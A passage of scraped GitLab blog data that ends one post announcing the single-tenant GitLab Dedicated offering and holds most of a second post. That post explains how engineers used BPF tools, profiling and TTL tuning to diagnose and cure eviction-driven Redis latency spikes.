offering","Learn more about this offering, why we developed it and how customers can be added to our limited availability waitlist.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682524/Blog/Hero%20Images/screenshot-2022-11-30-at-7.49.51-am.png","https://about.gitlab.com/blog/introducing-gitlab-dedicated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Dedicated, our new single-tenant SaaS offering\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2022-11-30\",\n      }",{"title":11707,"description":11708,"authors":11713,"heroImage":11709,"date":11695,"body":11714,"category":736,"tags":11715},[1524],"\n\nToday, we are excited to officially announce the limited availability of GitLab Dedicated, a new way to use our enterprise DevSecOps platform as a single-tenant SaaS offering. This new offering provides all of the benefits of an enterprise DevSecOps platform, with an added focus on data residency, isolation, and private networking to meet compliance needs. \n\n## Navigating compliance complexities\n\nAt GitLab, we serve a wide variety of customers — from small start-ups and community organizations to the largest global enterprises — and we know that no single deployment model will serve the needs of all of our customers.\n\nGitLab customers have told us they need a SaaS offering that provides additional deployment control and data residency to meet stringent compliance requirements. We see this need with large enterprises and companies in regulated industries that are coming under increased scrutiny, facing global internet policy fragmentation, and are dealing with the expanding complexity of data governance. The need to be compliant and secure has never been greater.\n\nEven non-regulated organizations find compliance a real threat to productivity and profits. In our [2022 Global DevSecOps Survey](/developer-survey/), we found that operations professionals are increasingly responsible for all compliance, and a majority of them spend between one-quarter and one-half of their work week managing compliance and audits. That’s a 15% increase from 2021. \n\n## When multi-tenant SaaS is not an option\n\nIn many organizations, the cloud is a substantive way to consume enterprise applications without the overhead of self-hosting. But for some industries, the multi-tenant nature of cloud-based SaaS services makes it an impossible choice due to regulatory restrictions. Some organizations need more choice between how they manage their data and where that data sits, and these decisions shouldn't have to come at the expense of efficiency and productivity. \n\n## Balance compliance with speed and efficiency with single-tenant SaaS\n\nI’m excited that we are offering a new deployment option by making our DevSecOps platform available as a single-tenant SaaS solution. GitLab Dedicated provides all of the benefits of an enterprise DevSecOps platform with a focus on data residency, isolation, and private networking to meet compliance needs. With GitLab Dedicated, organizations can leverage the efficiency of the cloud while still getting a completely isolated instance — without the need to deploy and manage a DevSecOps platform and cloud infrastructure themselves.\n\n### Data residency and protection\n\nGitLab Dedicated enables organizations to respond to the increasing number of countries and regions that are establishing unique data residency rules. By choosing the [cloud region that works for them and their regional requirements](https://docs.gitlab.com/ee/subscriptions/gitlab_dedicated/#aws-regions-not-supported), organizations can keep their data local to meet data isolation and residency requirements. It’s an efficient way to stay compliant and performant without the overhead of self-hosting.  \n\nTo further protect customer data, GitLab Dedicated supports a secure, private connection between the organization’s network and our service. This means that users, data, and services have secure access to the isolated instance without exposing services directly to the internet.\n\n### Managed and hosted by GitLab\n\nGitLab Dedicated is not only single-tenant, region-based, and privately connected, but it’s also managed and hosted by GitLab and deployed in the customer’s cloud region of choice. Organizations can quickly realize the value of a DevSecOps platform without requiring staff to build out and manage infrastructure. Organizations get all of the benefits of GitLab — shorter cycle times, lower costs, stronger security and more productive developers — with lower total cost of ownership and quicker time to value than hosting themselves.\n\n## Join the waitlist\n\nI’m truly excited to announce limited availability of GitLab Dedicated, which will bring more flexibility and greater choice to enterprise customers and organizations in highly regulated industries that have complex compliance and data residency requirements. The offering provides the efficiencies of the cloud, but with infrastructure-level isolation and data residency controls. \n\n**As we scale this new offering, we are making GitLab Dedicated available by inviting customers to join our waitlist. You can learn more and join the waitlist [on our website](/dedicated/) and get more information about the direction of the offering and [the timeline to General Availability](/direction/saas-platforms/dedicated/).**\n",[4103,676,695],{"slug":11717,"featured":6,"template":678},"introducing-gitlab-dedicated","content:en-us:blog:introducing-gitlab-dedicated.yml","Introducing Gitlab Dedicated","en-us/blog/introducing-gitlab-dedicated.yml","en-us/blog/introducing-gitlab-dedicated",{"_path":11723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11724,"content":11729,"config":11735,"_id":11737,"_type":16,"title":11738,"_source":17,"_file":11739,"_stem":11740,"_extension":20},"/en-us/blog/how-we-diagnosed-and-resolved-redis-latency-spikes",{"title":11725,"description":11726,"ogTitle":11725,"ogDescription":11726,"noIndex":6,"ogImage":6954,"ogUrl":11727,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11727,"schema":11728},"How we diagnosed and resolved Redis latency spikes with BPF and other tools","How we uncovered a three-phase cycle involving two distinct saturation points and a simple fix to break that cycle.","https://about.gitlab.com/blog/how-we-diagnosed-and-resolved-redis-latency-spikes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we diagnosed and resolved Redis latency spikes with BPF and other tools\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Smiley\"}],\n        \"datePublished\": \"2022-11-28\",\n      }",{"title":11725,"description":11726,"authors":11730,"heroImage":6954,"date":11732,"body":11733,"category":734,"tags":11734},[11731],"Matt Smiley","2022-11-28","\n\nIf you enjoy performance engineering and peeling back abstraction layers to ask underlying subsystems to explain themselves, this article’s for you. The context is a chronic Redis latency problem, and you are about to tour a practical example of using BPF and profiling tools in concert with standard metrics to reveal unintuitive behaviors of a complex system.\n\nBeyond the tools and techniques, we also use an iterative hypothesis-testing approach to compose a behavior model of the system dynamics. This model tells us what factors influence the problem's severity and triggering conditions.\n\nUltimately, we find the root cause, and its remedy is delightfully boring and effective. We uncover a three-phase cycle involving two distinct saturation points and a simple fix to break that cycle. Along the way, we inspect aspects of the system’s behavior using stack sampling profiles, heat maps and flamegraphs, experimental tuning, source and binary analysis, instruction-level BPF instrumentation, and targeted latency injection under specific entry and exit conditions.\n\nIf you are short on time, the takeaways are summarized at the end. But the journey is the fun part, so let's dig in!\n\n## Introducing the problem: Chronic latency \n\nGitLab makes extensive use of Redis, and, on GitLab.com SaaS, we use [separate Redis clusters](/handbook/engineering/infrastructure/production/architecture/#redis-architecture) for certain functions. This tale concerns a Redis instance acting exclusively as a least recently used (LRU) cache.\n\nThis cache had a chronic latency problem that started occurring intermittently over two years ago and in recent months had become significantly worse: Every few minutes, it suffered from bursts of very high latency and corresponding throughput drop, eating into its Service Level Objective (SLO). These latency spikes impacted user-facing response times and [burned error budgets](https://gitlab.com/gitlab-org/gitlab/-/issues/360578#note_966597336) for dependent features, and this is what we aimed to solve.\n\n**Graph:** Spikes in the rate of extremely slow (1 second) Redis requests, each corresponding to an eviction burst\n\n![Graph showing spikes in the slow request rate every few minutes](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/00_redis_slow_request_rate_spikes_during_each_eviction_burst.png)\n\nIn prior work, we had already completed several mitigating optimizations. These sufficed for a while, but organic growth had resurfaced this as an important [long-term scaling problem](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#why-is-it-important-to-get-to-the-root-of-the-latency-spikes). We had also already ruled out externally triggered causes, such as request floods, connection rate spikes, host-level resource contention, etc. These latency spikes were consistently associated with memory usage reaching the eviction threshold (`maxmemory`), not by changes in client traffic patterns or other processes competing with Redis for CPU time, memory bandwidth, or network I/O.\n\nWe [initially thought](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1567) that Redis 6.2’s new [eviction throttling mechanism](https://github.com/redis/redis/pull/7653) might alleviate our eviction burst overhead. It did not. That mechanism solves a different problem: It prevents a stall condition where a single call to `performEvictions` could run arbitrarily long. In contrast, during this analysis we [discovered](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_977816216) that our problem (both before and after upgrading Redis) was related to numerous calls collectively reducing Redis throughput, rather than a few extremely slow calls causing a complete stall.\n\nTo discover our bottleneck and its potential solutions, we needed to investigate Redis’s behavior during our workload’s eviction bursts.\n\n## A little background on Redis evictions\n\nAt the time, our cache was oversubscribed, trying to hold more cache keys than the [configured `maxmemory` threshold](https://redis.io/docs/reference/eviction/) could hold, so evictions from the LRU cache were expected. But the dense concentration of that eviction overhead was surprising and troubling.\n\nRedis is essentially single-threaded. With a few exceptions, the “main” thread does almost all tasks serially, including handling client requests and evictions, among other things. Spending more time on X means there is less remaining time to do Y, so think about queuing behavior as the story unfolds.\n\nWhenever Redis reaches its `maxmemory` threshold, it frees memory by evicting some keys, aiming to do just enough evictions to get back under `maxmemory`. However, contrary to expectation, the metrics for memory usage and eviction rate (shown below) indicated that instead of a continuous steady eviction rate, there were abrupt burst events that freed much more memory than expected. After each eviction burst, no evictions occurred until memory usage climbed back up to the `maxmemory` threshold again.\n\n**Graph:** Redis memory usage drops by 300-500 MB during each eviction burst:\n\n![Memory usage repeatedly rises gradually to 64 GB and then abruptly drops](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/01_redis_memory_usage_dips_during_eviction_bursts.png)\n\n**Graph:** Key eviction spikes match the timing and size of the memory usage dips shown above\n\n![Eviction counter shows a large spike each time the previous graph showed a large memory usage drop](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/02_redis_eviction_bursts.png)\n\nThis apparent excess of evictions became the central mystery. Initially, we thought answering that question might reveal a way to smooth the eviction rate, spreading out the overhead and avoiding the latency spikes. Instead, we discovered that these bursts are an interaction effect that we need to avoid, but more on that later.\n\n## Eviction bursts cause CPU saturation\n\nAs shown above, we had found that these latency spikes correlated perfectly with large spikes in the cache’s eviction rate, but we did not yet understand why the evictions were concentrated into bursts that last a few seconds and occur every few minutes.\n\nAs a first step, we wanted to verify a causal relationship between eviction bursts and latency spikes.\n\nTo test this, we used [`perf`](https://www.brendangregg.com/perf.html) to run a CPU sampling profile on the Redis main thread. Then we applied a filter to split that profile, isolating the samples where it was calling the [`performEvictions` function](https://github.com/redis/redis/blob/6.2.6/src/evict.c#L512). Using [`flamescope`](https://github.com/Netflix/flamescope), we can visualize the profile’s CPU usage as a [subsecond offset heat map](https://www.brendangregg.com/HeatMaps/subsecondoffset.html), where each second on the X axis is folded into a column of 20 msec buckets along the Y axis. This visualization style highlights sub-second activity patterns. Comparing these two heat maps confirmed that during an eviction burst, `performEvictions` is starving all other main thread code paths for CPU time.\n\n**Graph:** Redis main thread CPU time, excluding calls to `performEvictions`\n\n![Heat map shows one large gap and two small gaps in an otherwise uniform pattern of 70 percent to 80 percent CPU usage](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/03_heat_map_of_redis_main_thread_during_eviction_burst__excluding_performEvictions.png)\n\n**Graph:** Remainder of the same profile, showing only the calls to `performEvictions`\n\n![This heat map shows the gaps in the previous heap map were CPU time spent performing evictions](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/04_heat_map_of_redis_main_thread_during_eviction_burst__only_performEvictions.png)\n\nThese results confirm that eviction bursts are causing CPU starvation on the main thread, which acts as a throughput bottleneck and increases Redis’s response time latency.  These CPU utilization bursts typically lasted a few seconds, so they were too short-lived to trigger alerts but were still user impacting.\n\nFor context, the following flamegraph shows where `performEvictions` spends its CPU time. There are a few interesting things here, but the most important takeaways are:\n* It gets called synchronously by `processCommand` (which handles all client requests).\n* It handles many of its own deletes. Despite its name, the `dbAsyncDelete` function only delegates deletes to a helper thread under certain conditions which turn out to be rare for this workload.\n\n![Flamegraph of calls to function performEvictions, as described above](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/05_flamegraph_of_redis_main_thread_during_eviction_burst__only_performEvictions.png)\n\nFor more details on this analysis, see the [walkthrough and methodology](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_854745083).\n\n## How fast are individual calls to `performEvictions`?\n\nEach incoming request to Redis is handled by a call to `processCommand`, and it always concludes by calling the `performEvictions` function. That call to `performEvictions` is frequently a no-op, returning immediately after checking that the `maxmemory` threshold has not been breached. But when the threshold is exceeded, it will continue evicting keys until it either reaches its `mem_tofree` goal or exceeds its configured time limit per call.\n\nThe CPU heat maps shown earlier proved that `performEvictions` calls were collectively consuming a large majority of CPU time for up to several seconds.\n\nTo complement that, we also measured the wall clock time of individual calls.\n\nUsing the `funclatency` CLI tool (part of the [BCC suite of BPF tools](https://github.com/iovisor/bcc)), we measured call duration by instrumenting entry and exit from the `performEvictions` function and aggregated those measurements into a [histogram](https://en.wikipedia.org/wiki/Histogram) at 1-second intervals. When no evictions were occurring, the calls were consistently low latency (4-7 usecs/call). This is the no-op case described above (including 2.5 usecs/call of instrumentation overhead). But during an eviction burst, the results shift to a bimodal distribution, including a combination of the fast no-op calls along with much slower calls that are actively performing evictions:\n\n```\n$ sudo funclatency-bpfcc --microseconds --timestamp --interval 1 --duration 600 --pid $( pgrep -o redis-server ) '/opt/gitlab/embedded/bin/redis-server:performEvictions'\n...\n23:54:03\n     usecs               : count     distribution\n         0 -> 1          : 0        |                                        |\n         2 -> 3          : 576      |************                            |\n         4 -> 7          : 1896     |****************************************|\n         8 -> 15         : 392      |********                                |\n        16 -> 31         : 84       |*                                       |\n        32 -> 63         : 62       |*                                       |\n        64 -> 127        : 94       |*                                       |\n       128 -> 255        : 182      |***                                     |\n       256 -> 511        : 826      |*****************                       |\n       512 -> 1023       : 750      |***************                         |\n```\n\nThis measurement also directly confirmed and quantified the throughput drop in Redis requests handled per second: The call rate to `performEvictions` (and hence to `processCommand`) dropped to 20% of its norm from before the evictions began, from 25K to 5K calls per second.\n\nThis has a huge impact on clients: New requests are arriving at 5x the rate they are being completed. And crucially, we will see soon that this asymmetry is what drives the eviction burst.\n\nFor more details on this analysis, see the [safety check](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_857869826) for instrumentation overhead and the [results walkthrough](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_857907521). And for more general reference, the BPF instrumentation overhead estimate is based on these [benchmark results](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1383).\n\n## Experiment: Can tuning mitigate eviction-driven CPU saturation?\n\nThe analyses so far had shown that evictions were severely starving the Redis main thread for CPU time. There were still important unanswered questions (which we will return to shortly), but this was already enough info to [suggest some experiments](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_859236777) to test potential mitigations:\n* Can we spread out the eviction overhead so it takes longer to reach its goal but consumes a smaller percentage of the main thread’s time?\n* Are evictions freeing more memory than expected due to scheduling a lot of keys to be asynchronously deleted by the [lazyfree mechanism](https://github.com/redis/redis/blob/6.2.6/redis.conf#L1079)? Lazyfree is an optional feature that lets the Redis main thread [delegate to an async helper thread](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_859236777) the expensive task of deleting keys that have more than 64 elements. These async evictions do not count immediately towards the eviction loop’s memory goal, so if many keys qualify for lazyfree, this could potentially drive many extra iterations of the eviction loop.\n\nThe [answers](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/7172#note_971197943) to both turned out to be no:\n* Reducing `maxmemory-eviction-tenacity` to its minimum setting still did not make `performEvictions` cheap enough to avoid accumulating a request backlog. It did increase response rate, but arrival rate still far exceeded it, so this was not an effective mitigation.\n* Disabling `lazyfree-lazy-eviction` did not prevent the eviction burst from dropping memory usage far below `maxmemory`. Those lazyfrees represent a small percentage of reclaimed memory. This rules out one of the potential explanations for the mystery of excessive memory being freed.\n\nHaving ruled out two potential mitigations and one candidate hypothesis, at this point we return to the pivotal question: Why are several hundred extra megabytes of memory being freed by the end of each eviction burst?\n\n## Why do evictions occur in bursts and free too much memory?\n\nEach round of eviction aims to free just barely enough memory to get back under the `maxmemory` threshold.\n\nWith a steady rate of demand for new memory allocations, the eviction rate should be similarly steady. The rate of arriving cache writes does appear to be steady. So why are evictions happening in dense bursts, rather than smoothly? And why do they reduce memory usage on a scale of hundreds of megabytes rather than hundreds of bytes?\n\nSome potential explanations to explore:\n* Do evictions only end when a large key gets evicted, spontaneously freeing enough memory to skip evictions for a while? No, the memory usage drop is far bigger than the largest keys in the dataset.\n* Do deferred lazyfree evictions cause the eviction loop to overshoot its goal, freeing more memory than intended? No, the above experiment disproved this hypothesis.\n* Is something causing the eviction loop to sometimes calculate an unexpectedly large value for its `mem_tofree` goal? We explore this next. The answer is no, but checking it led to a new insight.\n* Is a feedback loop causing evictions to become somehow self-amplifying? If so, what conditions lead to entering and leaving this state? This turned out to be correct.\n\nThese were all plausible and testable hypotheses, and each would point towards a different solution to the eviction-driven latency problem.\n\nThe first two hypotheses we have already eliminated.\n\nTo test the next two, we built custom BPF instrumentation to peek at the calculation of `mem_tofree` at the start of each call to `performEvictions`.\n\n## Observing the `mem_tofree` calculation with `bpftrace`\n\nThis part of the investigation was a personal favorite and led to a critical realization about the nature of the problem.\n\nAs noted above, our two remaining hypotheses were:\n* an unexpectedly large `mem_tofree` goal\n* a self-amplifying feedback loop\n\nTo differentiate between them, we used [`bpftrace`](https://github.com/iovisor/bpftrace) to instrument the calculation of `mem_tofree`, looking at its input variables and results.\n\nThis set of measurements directly tests the following:\n* Does each call to `performEvictions` aim to free a small amount of memory -- perhaps roughly the size of an average cache entry? If `mem_tofree` ever approaches hundreds of megabytes, that would confirm the first hypothesis and reveal what part of the calculation was causing that large value. Otherwise, it rules out the first hypothesis and makes the feedback loop hypothesis more likely.\n* Does the replication buffer size significantly influence `mem_tofree` as a feedback mechanism? Each eviction adds to this buffer, just like normal writes do. If this buffer grows large (possibly partly due to evictions) and then abruptly shrinks (due to the peer consuming it), that would cause a spontaneous large drop in memory usage, ending evictions and instantly reducing memory usage. This is one potential way for evictions to drive a feedback loop.\n\nTo peek at the values of the `mem_tofree` calculation ([script](https://gitlab.com/gitlab-com/gl-infra/scalability/uploads/cab2cd03231f8dd4819f77b44d768cb9/redis_snoop.getMaxmemoryState.sha_25a228b839a93a1395907a03f83e1eee448b0f14.production_thresholds.bt)), we needed to isolate the [correct call from `performEvictions`](https://github.com/redis/redis/blob/6.2.6/src/evict.c#L523) to the [`getMaxmemoryState`](https://github.com/redis/redis/blob/6.2.6/src/evict.c#L374-L407) function and reverse engineer its assembly to find the right instruction and register to instrument for each of the source code level variables that we wanted to capture. From that data we generate histograms for each of the following variables:\n\n```\nmem_reported = zmalloc_used_memory()        // All used memory tracked by jemalloc\noverhead = freeMemoryGetNotCountedMemory()  // Replication output buffers + AOF buffer\nmem_used = mem_reported - overhead          // Non-exempt used memory\nmem_tofree = mem_used - maxmemory           // Eviction goal\n```\n\n_Caveat:_ Our [custom BPF instrumentation](https://gitlab.com/gitlab-com/gl-infra/scalability/uploads/cab2cd03231f8dd4819f77b44d768cb9/redis_snoop.getMaxmemoryState.sha_25a228b839a93a1395907a03f83e1eee448b0f14.production_thresholds.bt) is specific to this particular build of the `redis-server` binary, since it attaches to virtual addresses that are likely to change the next time Redis is compiled. But the approach is able to be generalized. Treat this as a concrete example of using BPF to inspect source code variables in the middle of a function call without having to rebuild the binary. Because we are peeking at the function’s intermediate state and because the compiler inlined this function call, we needed to do binary analysis to find the correct instrumentation points. In general, peeking at a function’s arguments or return value is easier and more portable, but in this case it would not suffice.\n\nThe results:\n* Ruled out the first hypothesis: Each call to `performEvictions` had a small target value (`mem_tofree` \u003C 2 MB). This means each call to `performEvictions` did a small amount of work. Redis’s mysterious rapid drop in memory usage cannot have been caused by an abnormally large `mem_tofree` target evicting a big batch of keys all at once. Instead, there must be many calls collectively driving down memory usage.\n* The replication output buffers remained consistently small, ruling out one of the potential feedback loop mechanisms.\n* Surprisingly, `mem_tofree` was usually 16 KB to 64 KB, which is larger than a typical cache entry. This size discrepancy hints that cache keys may not be the main source of the memory pressure perpetuating the eviction burst once it begins.\n\nAll of the above results were consistent with the feedback loop hypothesis.\n\nIn addition to answering the initial questions, we got a bonus outcome: Concurrently measuring both `mem_tofree` and `mem_used` revealed a crucial new fact – _the memory reclaim is a completely distinct phase from the eviction burst_.\n\nReframing the pathology as exhibiting separate phases for evictions versus memory reclaim led to a series of realizations, described in the next section. From that emerged a coherent hypothesis explaining all the observed properties of the pathology.\n\nFor more details on this analysis, see [methodology notes](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982498636), [build notes](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982499538) supporting the disassembly of the Redis binary, and [initial interpretations](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_977994182).\n\n## Three-phase cycle\n\nWith the above results indicating a distinct separation between the evictions and the memory reclaim, we can now concisely characterize [three phases](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982623949) in the cycle of eviction-driven latency spikes.\n\n**Graph:** Diagram (not to scale) comparing memory and CPU usage to request and response rates during each of the three phases\n\n![Diagram summarizes the text that follows, showing CPU and memory saturate in Phase 2 until request rate drops to match response rate, after which they recover](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/06_3_phase_cycle_of_eviction_bursts.png)\n\nPhase 1: Not saturated (7-15 minutes)\n* Memory usage is below `maxmemory`. No evictions occur during this phase.\n* Memory usage grows organically until reaching `maxmemory`, which starts the next phase.\n\nPhase 2: Saturated memory and CPU (6-8 seconds)\n* When memory usage reaches `maxmemory`, evictions begin.\n* Evictions occur only during this phase, and they occur intermittently and frequently.\n* Demand for memory frequently exceeds free capacity, repeatedly pushing memory usage above `maxmemory`. Throughout this phase, memory usage oscillates close to the `maxmemory` threshold, evicting a small amount of memory at a time, just enough to get back under `maxmemory`.\n\nPhase 3: Rapid memory reclaim (30-60 seconds)\n* No evictions occur during this phase.\n* During this phase, something that had been holding a lot of memory starts quickly and steadily releasing it.\n* Without the overhead of running evictions, CPU time is again spent mostly on handling requests (starting with the backlog that accumulated during Phase 2).\n* Memory usage drops rapidly and steadily. By the time this phase ends, hundreds of megabytes have been freed. Afterwards, the cycle restarts with Phase 1.\n\nAt the transition between Phase 2 and Phase 3, evictions abruptly ended because memory usage stays below the `maxmemory` threshold.\n\nReaching that transition point where memory pressure becomes negative signals that whatever was driving the memory demand in Phase 2 has started releasing memory faster than it is consuming it, shrinking the footprint it had accumulated during the previous phase.\n\nWhat is this **mystery memory consumer** that bloats its demand during Phase 2 and frees it during Phase 3?\n\n## The mystery revealed\n\n[Modeling the phase transitions](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982651298) gave us some useful constraints that a viable hypothesis must satisfy. The mystery memory consumer must:\n* quickly bloat its footprint to hundreds of megabytes on a timescale of less than 10 seconds (the duration of Phase 2), under conditions triggered by the start of an eviction burst\n* quickly release its accumulated excess on a timescale of just tens of seconds (the duration of Phase 3), under the conditions immediately following an eviction burst\n\n**The answer:** The client input/output buffers meet those constraints to be the mystery memory consumer.\n\nHere is how that hypothesis plays out:\n* During Phase 1 (healthy state), the Redis main thread’s CPU usage is already fairly high. At the start of Phase 2, when evictions begin, the eviction overhead saturates the main thread’s CPU capacity, quickly dropping response rate below the incoming request rate.\n* This throughput mismatch between arrivals versus responses **is itself the amplifier** that takes over driving the eviction burst. As the size of that rate gap increases, the proportion of time spent doing evictions also increases.\n* Accumulating a backlog of requests requires memory, and that backlog continues to grow until enough clients are stalled that the arrival rate drops to match the response rate. As clients stall, the arrival rate falls, and with it the memory pressure, eviction rate, and CPU overhead begin to reduce.\n* At the equilibrium point when arrival rate falls to match response rate, memory demand is satisfied and evictions stop (ending Phase 2). Without the eviction overhead, more CPU time is available to process the backlog, so response rate increases above request arrival rate. This recovery phase steadily consumes the request backlog, incrementally freeing memory as it goes (Phase 3).\n* Once the backlog is resolved, the arrival and response rates match again. CPU usage is back to its Phase 1 norm, and memory usage has temporarily dropped in proportion to the max size of Phase 2’s request backlog.\n\nWe confirmed this hypothesis via a [latency injection experiment](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_987049036) showing that queuing alone explains the pathology. This outcome supports the conclusion that the extra memory demand originates from response rate falling below request arrival rate.\n\n## Remedies: How to avoid entering the eviction burst cycle\n\nNow that we understand the dynamics of the pathology, we can draw confident conclusions about viable solutions.\n\nRedis evictions are only self-amplifying when all of the following conditions are present:\n* **Memory saturation:** Memory usage reaches the `maxmemory` limit, causing evictions to start.\n* **CPU saturation:** The baseline CPU usage by the Redis main thread’s normal workload is close enough to a whole core that the eviction overhead pushes it to saturation. This reduces the response rate below request arrival rate, inducing self-amplification via increased memory demand for request buffering.\n* **Many active clients:** The saturation only lasts as long as request arrival rate exceeds response rate. Stalled clients no longer contribute to that arrival rate, so the saturation lasts longer and has a greater impact if Redis has many active clients still sending requests.\n\nViable remedies include:\n* Avoid memory saturation by any combination of the following to make peak memory usage less than the `maxmemory` limit:\n  * Reduce cache time to live (TTL)\n  * Increase `maxmemory` (and host memory if needed, but watch out for [`numa_balancing` CPU overhead](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1889) on hosts with multiple NUMA nodes)\n  * Adjust client behavior to avoid writing unnecessary cache entries\n  * Split the cache among multiple instances (sharding or functional partitioning, helps avoid both memory and CPU saturation)\n* Avoid CPU saturation by any combination of the following to make peak CPU usage for the workload plus eviction overhead be less than 1 CPU core:\n  * Use the fastest processor available for single-threaded instructions per second\n  * Isolate the redis-server process (particularly its main thread) from any other competing CPU-intensive processes (dedicated host, taskset, cpuset)\n  * Adjust client behavior to avoid unnecessary cache lookups or writes\n  * Split the cache among multiple instances (sharding or functional partitioning, helps avoid both memory and CPU saturation)\n  * Offload work from the Redis main thread (io-threads, lazyfree)\n  * Reduce eviction tenacity (only gives a minor benefit in our experiments)\n\nMore exotic potential remedies could include a new Redis feature. One idea is to exempt ephemeral allocations like client buffers from counting towards the `maxmemory` limit, instead applying that limit only to key storage. Alternatively, we could limit evictions to only consume at most a configurable percentage of the main thread’s time, so that most of its time is still spent on request throughput rather than eviction overhead.\n\nUnfortunately, either of those features would trade one failure mode for another, reducing the risk of eviction-driven CPU saturation while increasing the risk of unbounded memory growth at the process level, which could potentially saturate the host or cgroup and lead to an OOM, or out of memory, kill. That trade-off may not be worthwhile, and in any case it is not currently an option.\n\n## Our solution\n\nWe had already exhausted the low-hanging fruit for CPU efficiency, so we focused our attention on avoiding memory saturation.\n\nTo improve the cache’s memory efficiency, we [evaluated](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_990891708) which types of cache keys were using the most space and how much [`IDLETIME`](https://redis.io/commands/object-idletime/) they had accrued since last access. This memory usage profile identified some rarely used cache entries (which waste space), helped inform the TTL, or time to live, tuning by first focusing on keys with a high idle time, and highlighted some useful potential cutpoints for functionally partitioning the cache.\n\nWe [decided](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_1014582669) to concurrently pursue several cache efficiency improvements and opened an [epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/764) for it. The goal was to avoid chronic memory saturation, and the main action items were:\n* Iteratively reduce the cache’s [default TTL](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1854) from 2 weeks to 8 hours (helped a lot!)\n* Switch to [client-side caching](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_1026821730) for certain cache keys (efficiently avoids spending shared cache space on non-shared cache entries)\n* [Partition](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/762) a set of cache keys to a separate Redis instance\n\nThe TTL reduction was the simplest solution and turned out to be a big win. One of our main concerns with TTL reduction was that the additional cache misses could potentially increase workload on other parts of the infrastructure. Some cache misses are more expensive than others, and our metrics are not granular enough to quantify the cost of cache misses per type of cache entry. This concern is why we applied the TTL adjustment incrementally and monitored for SLO violations. Fortunately, our inference was correct: Reducing TTL did not significantly reduce the cache hit rate, and the additional cache misses did not cause noticeable impact to downstream subsystems.\n\nThe TTL reduction turned out to be sufficient to drop memory usage consistently a little below its saturation point.\n\nIncreasing `maxmemory` had initially not been feasible because the original peak memory demand (prior to the efficiency improvements) was expected to be larger than the max size of the VMs we use for Redis. However, once we dropped memory demand below saturation, then we could confidently [provision headroom](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1868) for future growth and re-enable [saturation alerting](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1883).\n\n## Results\n\nThe following graph shows Redis memory usage transitioning out of its chronically saturated state, with annotations describing the milestones when latency spikes ended and when saturation margin became wide enough to be considered safe:\n\n![Redis memory usage stops showing a flat top saturation](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/07_epic_results__memory_saturation_avoided_by_TTL_reductions.png)\n\nZooming into the days when we rolled out the TTL adjustments, we can see the harmful eviction-driven latency spikes vanish as we drop memory usage below its saturation point, exactly as predicted:\n\n![Redis memory usage starts as a flat line and then falls below that saturation line](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/08_results__redis_memory_usage_stops_saturating.png)\n\n![Redis response time spikes stop occurring at the exact point when memory stops being saturated](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/09_results__redis_latency_spikes_end.png)\n\nThese eviction-driven latency spikes had been the biggest cause of slowess in Redis cache.\n\nSolving this source of slowness significantly improved the user experience. This 1-year lookback shows only the long-tail portion of the improvement, not even the full benefit.  Each weekday had roughly 2 million Redis requests slower than 1 second, until our fix in mid-August:\n\n![Graph of the daily count of Redis cache requests slower than 1 second, showing roughly 2 million slow requests per day on weekdays until mid-August, when the TTL adjustments were applied](https://about.gitlab.com/images/blogimages/2022-11-28-diagnosing-redis-latency-spikes-with-bpf-and-friends/10_results__1_year_retrospective_of_slow_redis_requests_per_day.png)\n\n## Conclusions\n\nWe solved a long-standing latency problem that had been worsening as the workload grew, and we learned a lot along the way. This article focuses mostly on the Redis discoveries, since those are general behaviors that some of you may encounter in your 